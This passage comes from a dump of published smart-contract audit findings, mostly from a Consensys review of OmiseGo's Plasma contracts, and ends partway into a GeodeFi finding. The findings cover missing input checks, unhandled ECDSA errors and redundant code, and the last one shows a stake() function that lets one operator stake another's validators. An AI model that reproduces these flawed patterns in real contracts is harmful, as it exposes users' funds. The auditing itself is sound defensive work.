txPos, uint160 exitId, IExitProcessor exitProcessor external onlyFromNonQuarantinedExitGame returns (uint256) bytes32 key = exitQueueKey(vaultId, token); require(hasExitQueue(key), \"The queue for the (vaultId, token) pair is not yet added to the Plasma framework\"); PriorityQueue queue = exitsQueues[key]; uint256 priority = ExitPriority.computePriority(exitableAt, txPos, exitId); queue.insert(priority); delegations[priority] = exitProcessor; emit ExitQueued(exitId, priority); return priority; Flag outputs as spent : code/plasma_framework/contracts/src/framework/ExitGameController.sol:L210-L213 function flagOutputSpent(bytes32 _outputId) external onlyFromNonQuarantinedExitGame { require(_outputId != bytes32(\"\"), \"Should not flag with empty outputId\"); isOutputSpent[_outputId] = true; Recommendation registerExitGame should check that extcodesize of the submitted contract is non-zero. Corresponding issue in plasma-contracts repo: https://github.com/omisego/plasma-contracts/issues/410 ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.7 EthVault - Unused state variable Addressed", "body": " Resolution This was addressed in commit ea36f5ff46ab72ec5c281fa0a3dffe3bcc83178b. Description The state variable withdrawEntryCounter is not used in the code. code/plasma_framework/contracts/src/vaults/EthVault.sol:L8 uint256 private withdrawEntryCounter = 0; Recommendation Remove it from the contract. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.8 Recommendation: Add a tree height limit check to Merkle.sol ", "body": " Description Each plasma block has a maximum of 2 ** 16 transactions, which corresponds to a maximum Merkle tree height of 16. The Merkle library currently checks that the proof is comprised of 32-byte segments, but neglects to check the maximum height: code/plasma_framework/contracts/src/utils/Merkle.sol:L17-L23 function checkMembership(bytes32 leaf, uint256 index, bytes32 rootHash, bytes memory proof) internal pure returns (bool) require(proof.length % 32 == 0, \"Length of Merkle proof must be a multiple of 32\"); Corresponding issue in plasma-contracts repo: https://github.com/omisego/plasma-contracts/issues/467 ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.9 Recommendation: remove IsDeposit and add a similar getter to BlockController Addressed", "body": " Resolution This was addressed in commit 0fee13f7f084983139eb47636ff785ebea8a1c36 by removing the Description The IsDeposit library is used to check whether a block number is a deposit or not. The logic is simple - if blockNum % childBlockInterval is nonzero, the block number is a deposit. By including this check in BlockController instead, the contract can perform an existence check as well. The function in BlockController would return the same result as the IsDeposit library, but would additionally revert if the block in question does not exist: Note that this check is made at the cost of an external call. If the check needs to be made multiple times in a transaction, the result should be cached. Corresponding issue in plasma-contracts repo: https://github.com/omisego/plasma-contracts/issues/466 ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.10 Recommendation: Merge TxPosLib into UtxoPosLib and implement a decode function with range checks. ", "body": " Resolution This was partially addressed in omisego/plasma-contracts#515 with the merging of omisego/plasma-contracts#533 implemented stricter range checks for block number and transaction index. Note that the maximum output index in Description TxPosLib and UtxoPosLib serve very similar functions. They both provide utility functions to access the block number and tx index of a packed utxo position variable. UtxoPosLib, additionally, provides a function to retrieve the output index of a packed utxo position variable. What they both lack, though, is sanity checks on the values packed inside a utxo position variable. By implementing a function UtxoPosLib.decode(uint _utxoPos) returns (UtxoPos), each exit controller contract can ensure that the values it is using make logical sense. The decode function should check that: txIndex is between 0 and 2**16 outputIndex is between 0 and 3 Currently, neither of these restrictions is explicitly enforced. As for blockNum, the best check is that it exists in the PlasmaFramework contract with a nonzero root. Since UtxoPosLib is a pure library, that check is better performed elsewhere (See https://github.com/ConsenSys/omisego-morevp-audit-2019-10/issues/21). Once implemented, all contracts should avoid casting values directly to the UtxoPos struct, in favor of using the decode function. Merging the two files will help with this. Corresponding issue in plasma-contracts repo: https://github.com/omisego/plasma-contracts/issues/465 ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.11 Recommendation: Implement additional existence and range checks on inputs and storage reads ", "body": " Resolution This was partially addressed in omisego/plasma-contracts#524 and omisego/plasma-contracts#483. Not all recommended checks were included. Description Many input validation and storage read checks are made implicitly, rather than explicitly. The following compilation notes each line of code in the exit controller contracts where an additional check should be added. Examples 1. PaymentChallengeIFEInputSpent: Check that inFlightTx has a nonzero input at the provided index: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEInputSpent.sol:L96 require(ife.isInputPiggybacked(args.inFlightTxInputIndex), \"The indexed input has not been piggybacked\"); Check that each transaction is nonzero and is correctly formed: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEInputSpent.sol:L98-L101 require( keccak256(args.inFlightTx) != keccak256(args.challengingTx), \"The challenging transaction is the same as the in-flight transaction\" ); Check that resulting outputId is nonzero: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEInputSpent.sol:L123 bytes32 ifeInputOutputId = data.ife.inputs[data.args.inFlightTxInputIndex].outputId; See issue 5.10 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEInputSpent.sol:L125 UtxoPosLib.UtxoPos memory utxoPos = UtxoPosLib.UtxoPos(data.args.inputUtxoPos); See issue 5.9 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEInputSpent.sol:L126 bytes32 challengingTxInputOutputId = data.controller.isDeposit.test(utxoPos.blockNum()) Check that inputTx is nonzero and well-formed: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEInputSpent.sol:L127-L128 ? OutputId.computeDepositOutputId(data.args.inputTx, utxoPos.outputIndex(), utxoPos.value) : OutputId.computeNormalOutputId(data.args.inputTx, utxoPos.outputIndex()); Check that output is nonzero: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEInputSpent.sol:L149 WireTransaction.Output memory output = WireTransaction.getOutput(data.args.challengingTx, data.args.challengingTxInputIndex); See issue 5.10 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEInputSpent.sol:L156 UtxoPosLib.UtxoPos memory inputUtxoPos = UtxoPosLib.UtxoPos(data.args.inputUtxoPos); Check that challengingTx has a nonzero input at provided index: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEInputSpent.sol:L163 data.args.challengingTxInputIndex, 2. PaymentChallengeIFENotCanonical: Check that each transaction is nonzero and is correctly formed: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L98-L101 require( keccak256(args.inFlightTx) != keccak256(args.competingTx), \"The competitor transaction is the same as transaction in-flight\" ); See issue 5.10 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L104 UtxoPosLib.UtxoPos memory inputUtxoPos = UtxoPosLib.UtxoPos(args.inputUtxoPos); See issue 5.9 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L107 if (self.isDeposit.test(inputUtxoPos.blockNum())) { Check that inputTx is nonzero and well-formed: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L108-L110 outputId = OutputId.computeDepositOutputId(args.inputTx, inputUtxoPos.outputIndex(), inputUtxoPos.value); } else { outputId = OutputId.computeNormalOutputId(args.inputTx, inputUtxoPos.outputIndex()); Check that inFlightTx has a nonzero input at the provided index: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L112-L113 require(outputId == ife.inputs[args.inFlightTxInputIndex].outputId, \"Provided inputs data does not point to the same outputId from the in-flight exit\"); Check that output is nonzero: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L115 WireTransaction.Output memory output = WireTransaction.getOutput(args.inputTx, args.inFlightTxInputIndex); Check that competingTx has a nonzero input at provided index: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L126 args.competingTxInputIndex, Check that resulting position is nonzero: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L133 uint256 competitorPosition = verifyCompetingTxFinalized(self, args, output); Check that inFlightTxPos is nonzero: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L171-L173 require( ife.oldestCompetitorPosition > inFlightTxPos, \"In-flight transaction must be younger than competitors to respond to non-canonical challenge\"); See issue 5.10 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L175 UtxoPosLib.UtxoPos memory utxoPos = UtxoPosLib.UtxoPos(inFlightTxPos); Check that block root is nonzero: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L176 (bytes32 root, ) = self.framework.blocks(utxoPos.blockNum()); Check that inFlightTx is nonzero and well-formed: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L178 inFlightTx, utxoPos, root, inFlightTxInclusionProof See issue 5.10 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L218 UtxoPosLib.UtxoPos memory competingTxUtxoPos = UtxoPosLib.UtxoPos(args.competingTxPos); 3. PaymentChallengeIFEOutputSpent: Check that inFlightTx is nonzero and is well-formed: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEOutputSpent.sol:L54 uint160 exitId = ExitId.getInFlightExitId(args.inFlightTx); See issue 5.10 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEOutputSpent.sol:L58 UtxoPosLib.UtxoPos memory utxoPos = UtxoPosLib.UtxoPos(args.outputUtxoPos); Check that inFlightTx has a nonzero output at the provided index: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEOutputSpent.sol:L60-L63 require( ife.isOutputPiggybacked(outputIndex), \"Output is not piggybacked\" ); Check that bond size is nonzero: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEOutputSpent.sol:L70 uint256 piggybackBondSize = ife.outputs[outputIndex].piggybackBondSize; See issue 5.10 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEOutputSpent.sol:L83 UtxoPosLib.UtxoPos memory utxoPos = UtxoPosLib.UtxoPos(args.outputUtxoPos); See issue 5.10 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEOutputSpent.sol:L101 UtxoPosLib.UtxoPos memory utxoPos = UtxoPosLib.UtxoPos(args.outputUtxoPos); Check that challengingTx is nonzero and is well-formed: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEOutputSpent.sol:L102 uint256 challengingTxType = WireTransaction.getTransactionType(args.challengingTx); Check that output is nonzero: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEOutputSpent.sol:L103 WireTransaction.Output memory output = WireTransaction.getOutput(args.challengingTx, utxoPos.outputIndex()); Check that challengingTx has a nonzero input at provided index: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFEOutputSpent.sol:L116 args.challengingTxInputIndex, 4. PaymentChallengeStandardExit: See issue 5.10 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeStandardExit.sol:L110 UtxoPosLib.UtxoPos memory utxoPos = UtxoPosLib.UtxoPos(data.exitData.utxoPos); Check that exitingTx is nonzero and well-formed: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeStandardExit.sol:L112 .decode(data.args.exitingTx) Check that output is nonzero: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeStandardExit.sol:L111-L113 PaymentOutputModel.Output memory output = PaymentTransactionModel .decode(data.args.exitingTx) .outputs[utxoPos.outputIndex()]; Check that challengeTx is nonzero and well-formed: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeStandardExit.sol:L128 uint256 challengeTxType = WireTransaction.getTransactionType(data.args.challengeTx); See issue 5.10 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeStandardExit.sol:L134 txPos: TxPosLib.TxPos(data.args.challengeTxPos), See issue 5.9 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeStandardExit.sol:L157 bytes32 outputId = data.controller.isDeposit.test(utxoPos.blockNum()) Check that challengeTx has a nonzero input at provided index: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeStandardExit.sol:L166 args.inputIndex, 5. PaymentPiggybackInFlightExit: Check that inFlightTx is nonzero and well-formed: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentPiggybackInFlightExit.sol:L93 uint160 exitId = ExitId.getInFlightExitId(args.inFlightTx); Check that inFlightTx has a nonzero input at provided index: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentPiggybackInFlightExit.sol:L99 require(!exit.isInputPiggybacked(args.inputIndex), \"Indexed input already piggybacked\"); See issue 5.10 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentPiggybackInFlightExit.sol:L108 enqueue(self, withdrawData.token, UtxoPosLib.UtxoPos(exit.position), exitId); Check that inFlightTx is nonzero and is well-formed: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentPiggybackInFlightExit.sol:L130 uint160 exitId = ExitId.getInFlightExitId(args.inFlightTx); Check that inFlightTx has a nonzero output at provided index: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentPiggybackInFlightExit.sol:L136 require(!exit.isOutputPiggybacked(args.outputIndex), \"Indexed output already piggybacked\"); See issue 5.10 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentPiggybackInFlightExit.sol:L147 enqueue(self, withdrawData.token, UtxoPosLib.UtxoPos(exit.position), exitId); 6. PaymentStartInFlightExit: Check that inFlightTx is nonzero and is well-formed: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentStartInFlightExit.sol:L146 exitData.exitId = ExitId.getInFlightExitId(args.inFlightTx); Check that the length of inputTxs is nonzero: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentStartInFlightExit.sol:L150 exitData.inputTxs = args.inputTxs; See issue 5.10 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentStartInFlightExit.sol:L167 utxosPos[i] = UtxoPosLib.UtxoPos(inputUtxosPos[i]); See issue 5.9 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentStartInFlightExit.sol:L180 bool isDepositTx = controller.isDeposit.test(utxoPos[i].blockNum()); Check that each inputTxs is nonzero and well-formed: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentStartInFlightExit.sol:L181-L183 outputIds[i] = isDepositTx ? OutputId.computeDepositOutputId(inputTxs[i], utxoPos[i].outputIndex(), utxoPos[i].value) : OutputId.computeNormalOutputId(inputTxs[i], utxoPos[i].outputIndex()); Check that each output is nonzero: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentStartInFlightExit.sol:L200 WireTransaction.Output memory output = WireTransaction.getOutput(inputTxs[i], outputIndex); Check that inFlightTx has nonzero inputs for all i: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentStartInFlightExit.sol:L327-L328 exitData.inFlightTxRaw, i, Check that each output is nonzero: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentStartInFlightExit.sol:L407 PaymentOutputModel.Output memory output = exitData.inFlightTx.outputs[i]; 7. PaymentStartStandardExit: See issue 5.10 code/plasma_framework/contracts/src/exits/payment/controllers/PaymentStartStandardExit.sol:L119 UtxoPosLib.UtxoPos memory utxoPos = UtxoPosLib.UtxoPos(args.utxoPos); Check that output is nonzero: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentStartStandardExit.sol:L121 PaymentOutputModel.Output memory output = outputTx.outputs[utxoPos.outputIndex()]; Check that timestamp is nonzero: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentStartStandardExit.sol:L124 (, uint256 blockTimestamp) = controller.framework.blocks(utxoPos.blockNum()); Corresponding issue in plasma-contracts repo: https://github.com/omisego/plasma-contracts/issues/463 ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.12 Recommendation: Remove optional arguments and clean unused code Addressed", "body": " Resolution This was addressed in omisego/plasma-contracts#496 and omisego/plasma-contracts#503 with the removal of the output guard handler pattern, the simplification of the tx finalization check via Description Several locations in the codebase feature unused arguments, functions, return values, and more. There are two primary reasons to remove these artifacts from the codebase: Mass exits are the primary safeguard against a byzantine operator. The biggest bottleneck of a mass exit is transaction throughput, so plasma rootchain implementations should strive to be as efficient as possible. Many unused features require external calls, memory allocation, unneeded calculation, and more. The contracts are set up to be extensible by way of the addition of new exit games to the system. Optional or unimplemented features in current exit games should be removed for simplicity s sake, as they currently make up a large portion of the codebase. Examples Output guard handlers These offer very little utility in the current contracts. The main contract, PaymentOutputGuardHandler, has three functions: isValid enforces that some preimage value passed in via calldata has a length of zero. This could be removed along with the unused preimage parameter. getExitTarget converts a bytes20 to address payable (with the help of AddressPayable.sol). This could be removed in favor of using AddressPayable directly where needed. getConfirmSigAddress simply returns an empty address. This should be removed wherever used - empty fields should be a rare exception or an error, rather than being injected as unused values into critical functions. The minimal utility offered comes at the price of using an external call to the OutputGuardHandlerRegistry, as well as an external call for each of the functions mentioned above. Overall, the existence of output guard handlers adds thousands of gas to the exit process. Referenced contracts: IOutputGuardHandler, OutputGuardModel, PaymentOutputGuardHandler, OutputGuardHandlerRegistry Payment router arguments Several fields in the exit router structs are marked optional, and are not used in the contracts. While this is not particularly impactful, it does clutter and confuse the contracts. Many optional fields are referenced and passed into functions which do not use them. Of note is the crucially-important signature verification function, PaymentOutputToPaymentTxCondition.verify, where StartExitData.inputSpendingConditionOptionalArgs resolves to an unnamed parameter: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentStartInFlightExit.sol:L323-L332 bool isSpentByInFlightTx = condition.verify( exitData.inputTxs[i], exitData.inputUtxosPos[i].outputIndex(), exitData.inputUtxosPos[i].txPos().value, exitData.inFlightTxRaw, i, exitData.inFlightTxWitnesses[i], exitData.inputSpendingConditionOptionalArgs[i] ); require(isSpentByInFlightTx, \"Spending condition failed\"); code/plasma_framework/contracts/src/exits/payment/spendingConditions/PaymentOutputToPaymentTxCondition.sol:L40-L47 function verify( bytes calldata inputTxBytes, uint16 outputIndex, uint256 inputTxPos, bytes calldata spendingTxBytes, uint16 inputIndex, bytes calldata signature, bytes calldata /*optionalArgs*/ The additional fields clutter the namespace of each struct, confusing the purpose of the other fields. For example, PaymentInFlightExitRouterArgs.StartExitArgs features two fields, inputTxsConfirmSigs and inFlightTxsWitnesses, the former of which is marked optional . In fact, the inFlightTxsWitnesses field ends up containing the signatures passed to the spending condition verifier and ECDSA library: code/plasma_framework/contracts/src/exits/payment/routers/PaymentInFlightExitRouterArgs.sol:L4-L24 /** @notice Wraps arguments for startInFlightExit. @param inFlightTx RLP encoded in-flight transaction. @param inputTxs Transactions that created the inputs to the in-flight transaction. In the same order as in-flight transaction inputs. @param inputUtxosPos Utxos that represent in-flight transaction inputs. In the same order as input transactions. @param outputGuardPreimagesForInputs (Optional) Output guard pre-images for in-flight transaction inputs. Length must always match that of the inputTxs @param inputTxsInclusionProofs Merkle proofs that show the input-creating transactions are valid. In the same order as input transactions. @param inputTxsConfirmSigs (Optional) Confirm signatures for the input txs. Should be empty bytes if the input tx is MoreVP. Length must always match that of the inputTxs @param inFlightTxWitnesses Witnesses for in-flight transaction. In the same order as input transactions. @param inputSpendingConditionOptionalArgs (Optional) Additional args for the spending condition for checking inputs. Should provide empty bytes if nothing is required. Length must always match that of the inputTxs / struct StartExitArgs { bytes inFlightTx; bytes[] inputTxs; uint256[] inputUtxosPos; bytes[] outputGuardPreimagesForInputs; bytes[] inputTxsInclusionProofs; bytes[] inputTxsConfirmSigs; bytes[] inFlightTxWitnesses; bytes[] inputSpendingConditionOptionalArgs; Corresponding issue in plasma-contracts repo: https://github.com/omisego/plasma-contracts/issues/457 ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.13 Recommendation: Remove WireTransaction and PaymentOutputModel. Fold functionality into an extended PaymentTransactionModel ", "body": " Description RLP decoding is performed on transaction bytes in each of WireTransaction, PaymentOutputModel, and PaymentTransactionModel. The latter is the primary decoding function for transactions, while the former two contracts deal with outputs specifically. Both WireTransaction and PaymentOutputModel make use of RLPReader to decode transaction objects, and both implement very similar features. Rather than having a codebase with two separate definitions for struct Output, PaymentTransactionModel should be extended to implement all required functionality. Examples PaymentTransactionModel should include three distinct decoding functions: decodeDepositTx decodes a deposit transaction, which has no inputs and exactly 1 output. decodeSpendTx decodes a spend transaction, which has exactly 4 inputs and 4 outputs. decodeOutput decodes an output, which is a long list with 4 fields (uint, address, address, uint) A mock implementation including decodeSpendTx and decodeOutput is shown here: https://gist.github.com/wadeAlexC/7820c0cd82fd5fdc11a0ad58a84165ae OmiseGo may want to consider enforcing restrictions on the ordering of empty and nonempty fields here as well. Corresponding issue in plasma-contracts repo: https://github.com/omisego/plasma-contracts/issues/456 ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.14 ECDSA error value is not handled Addressed", "body": " Resolution This was addressed in commit 32288ccff5b867a7477b4eaf3beb0587a4684d7a by adding a check that the returned value is nonzero. Description The OpenZeppelin ECDSA library returns address(0x00) for many cases with malformed signatures: contracts/cryptography/ECDSA.sol:L57-L63 if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); if (v != 27 && v != 28) { return address(0); The PaymentOutputToPaymentTxCondition contract does not explicitly handle this case: code/plasma_framework/contracts/src/exits/payment/spendingConditions/PaymentOutputToPaymentTxCondition.sol:L65-L68 address payable owner = inputTx.outputs[outputIndex].owner(); require(owner == ECDSA.recover(eip712.hashTx(spendingTx), signature), \"Tx in not signed correctly\"); return true; Recommendation Adding a check to handle this case will make it easier to reason about the code. Corresponding issue in plasma-contracts repo: https://github.com/omisego/plasma-contracts/issues/454 ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.15 No existence checks on framework block and timestamp reads Addressed", "body": " Resolution This was addressed in commit c5e5a460a2082b809a2c45b2d6a69b738b34937a by adding checks that block root and timestamp reads return nonzero values. Description The exit game libraries make several queries to the main PlasmaFramework contract where plasma block hashes and timestamps are stored. In multiple locations, the return values of these queries are not checked for existence. Examples PaymentStartStandardExit.setupStartStandardExitData: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentStartStandardExit.sol:L124 (, uint256 blockTimestamp) = controller.framework.blocks(utxoPos.blockNum()); PaymentChallengeIFENotCanonical.respond: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentChallengeIFENotCanonical.sol:L176 (bytes32 root, ) = self.framework.blocks(utxoPos.blockNum()); PaymentPiggybackInFlightExit.enqueue: code/plasma_framework/contracts/src/exits/payment/controllers/PaymentPiggybackInFlightExit.sol:L167 (, uint256 blockTimestamp) = controller.framework.blocks(utxoPos.blockNum()); TxFinalizationVerifier.checkInclusionProof: code/plasma_framework/contracts/src/exits/utils/TxFinalizationVerifier.sol:L54 (bytes32 root,) = data.framework.blocks(data.txPos.blockNum()); Recommendation Although none of these examples seem exploitable, adding existence checks makes it easier to reason about the code. Each query to PlasmaFramework.blocks should be followed with a check that the returned value is nonzero. Corresponding issue in plasma-contracts repo: https://github.com/omisego/plasma-contracts/issues/463 ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.16 BondSize - effectiveUpdateTime should be uint64 ", "body": " Description In BondSize, the mechanism to update the size of the bond has a grace period after which the new bond size becomes active. When updating the bond size, the time is casted as a uint64 and saved in a uint128 variable. code/plasma_framework/contracts/src/exits/utils/BondSize.sol:L24 uint128 effectiveUpdateTime; code/plasma_framework/contracts/src/exits/utils/BondSize.sol:L11 uint64 constant public WAITING_PERIOD = 2 days; code/plasma_framework/contracts/src/exits/utils/BondSize.sol:L57 self.effectiveUpdateTime = uint64(now) + WAITING_PERIOD; There s no need to use a uint128 to save the time if it never will take up that much space. Recommendation Change the type of the effectiveUpdateTime to uint64. uint128 effectiveUpdateTime; + uint64 effectiveUpdateTime; ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.17 PaymentExitGame contains several redundant plasmaFramework declarations ", "body": " Description PaymentExitGame inherits from both PaymentInFlightExitRouter and PaymentStandardExitRouter. All three contracts declare and initialize their own PlasmaFramework variable. This pattern can be misleading, and may lead to subtle issues in future versions of the code. Examples PaymentExitGame declaration: code/plasma_framework/contracts/src/exits/payment/PaymentExitGame.sol:L18 PlasmaFramework private plasmaFramework; PaymentInFlightExitRouter declaration: code/plasma_framework/contracts/src/exits/payment/routers/PaymentInFlightExitRouter.sol:L53 PlasmaFramework private framework; PaymentStandardExitRouter declaration: code/plasma_framework/contracts/src/exits/payment/routers/PaymentStandardExitRouter.sol:L45 PlasmaFramework private framework; Each variable is initialized in the corresponding file s constructor. Recommendation Introduce an inherited contract common to PaymentStandardExitRouter and PaymentInFlightExitRouter with the PlasmaFramework variable. Make the variable internal so it is visible to inheriting contracts. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.18 BlockController - inaccurate description of childBlockInterval for submitDepositBlock ", "body": " Description code/plasma_framework/contracts/src/framework/BlockController.sol:L96-L114 /** @notice Submits a block for deposit @dev Block number adds 1 per submission; it's possible to have at most 'childBlockInterval' deposit blocks between two child chain blocks @param _blockRoot Merkle root of the Plasma block @return The deposit block number / function submitDepositBlock(bytes32 _blockRoot) public onlyFromNonQuarantinedVault returns (uint256) { require(isChildChainActivated == true, \"Child chain has not been activated by authority address yet\"); require(nextDeposit < childBlockInterval, \"Exceeded limit of deposits per child block interval\"); uint256 blknum = nextDepositBlock(); blocks[blknum] = BlockModel.Block({ root : _blockRoot, timestamp : block.timestamp }); nextDeposit++; return blknum; However, the comment at line 98 mentions the following: [..] it s possible to have at most childBlockInterval deposit blocks between two child chain blocks [..] This comment is inaccurate, as a childBlockInterval of 1 would not allow deposits at all (Note how nextDeposit is always >=1). Remediation The comment should read: [..] it s possible to have at most childBlockInterval -1 deposit blocks between two child chain blocks [..]. Make sure to properly validate inputs for these values when deploying the contract to avoid obvious misconfiguration. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.19 PlasmaFramework - Can omit inheritance of VaultRegistry ", "body": " Description The contract PlasmaFramework inherits VaultRegistry even though it does not use any of the methods directly. Also BlockController inherits VaultRegistry effectively adding all of the needed functionality in there. Remediation PlasmaFramework does not need to inherit VaultRegistry, thus the import and the inheritance can be removed from PlasmaFramework.sol. import \"./BlockController.sol\"; import \"./ExitGameController.sol\"; import \"./registries/VaultRegistry.sol\"; import \"./registries/ExitGameRegistry.sol\"; contract PlasmaFramework is VaultRegistry, ExitGameRegistry, ExitGameController, BlockController { +contract PlasmaFramework is ExitGameRegistry, ExitGameController, BlockController { uint256 public constant CHILD_BLOCK_INTERVAL = 1000; /** All tests still pass after removing the inheritance. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "5.20 BlockController - maintainer should be the only entity to set new authority Addressed", "body": " Resolution This was addressed in commit 25c2560e3b2e40ce9a10c40da97c3f79afc2c641 with the removal of the Description code/plasma_framework/contracts/src/framework/BlockController.sol:L69-L72 function setAuthority(address newAuthority) external onlyFrom(authority) { require(newAuthority != address(0), \"Authority address cannot be zero\"); authority = newAuthority; security specification notes that the Authority: EOA used exclusively to submit plasma block hashes to the root chain. The child chain assumes at deployment that the authority account has nonce zero and no transactions have been sent from it. However, no transactions might not be possible as authority is the only one to activateChildChain. Once activated, the child chain cannot be de-activated but the authority can change. elixir-omg#managing-the-operator-address notes the following for operator aka authority: As a consequence, the operator address must never send any other transactions, if it intends to continue submitting blocks. (Workarounds to this limitation are available, if there s such requirement.) Additionally, setAuthority should emit an event to allow participants to react to this change in the system and have an audit trial. Remediation Remove the setAuthority function, or clarify its intended purpose and add an event so it can be detected by users. Corresponding issue in plasma-contracts repo: https://github.com/omisego/plasma-contracts/issues/403 ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/01/omisego-morevp/"}, {"title": "4.1 Node Operators Can Stake Validators That Were Not Proposed by Them. ", "body": " In GeodeFi system node operators are meant to add the new validators in two steps: Proposal step where 1 ETH of the pre-stake deposit is committed. Stake step, where the 1 ETH pre-stake is reimbursed to the node operator, and the 32ETH user stake is sent to a validator. The issue itself stems from the fact that node operators are allowed to stake the validators of the other node operators. In the stake() function there is no check of the validator s operatorId against the operator performing the stake. Meaning that node operator A can stake validators of node operator B. contracts/Portal/modules/StakeModule/libs/StakeModuleLib.sol:L1478-L1558 function stake( PooledStaking storage self, DSML.IsolatedStorage storage DATASTORE, uint256 operatorId, bytes[] calldata pubkeys ) external { _authenticate(DATASTORE, operatorId, false, true, [true, false]); require( (pubkeys.length > 0) && (pubkeys.length <= DCL.MAX_DEPOSITS_PER_CALL), \"SML:1 - 50 validators\" ); uint256 _verificationIndex = self.VERIFICATION_INDEX; for (uint256 j = 0; j < pubkeys.length; ) { require( _canStake(self, pubkeys[j], _verificationIndex), \"SML:NOT all pubkeys are stakeable\" ); unchecked { j += 1; bytes32 activeValKey = DSML.getKey(operatorId, rks.activeValidators); bytes32 proposedValKey = DSML.getKey(operatorId, rks.proposedValidators); uint256 poolId = self.validators[pubkeys[0]].poolId; bytes memory withdrawalCredential = DATASTORE.readBytes(poolId, rks.withdrawalCredential); uint256 lastIdChange = 0; for (uint256 i = 0; i < 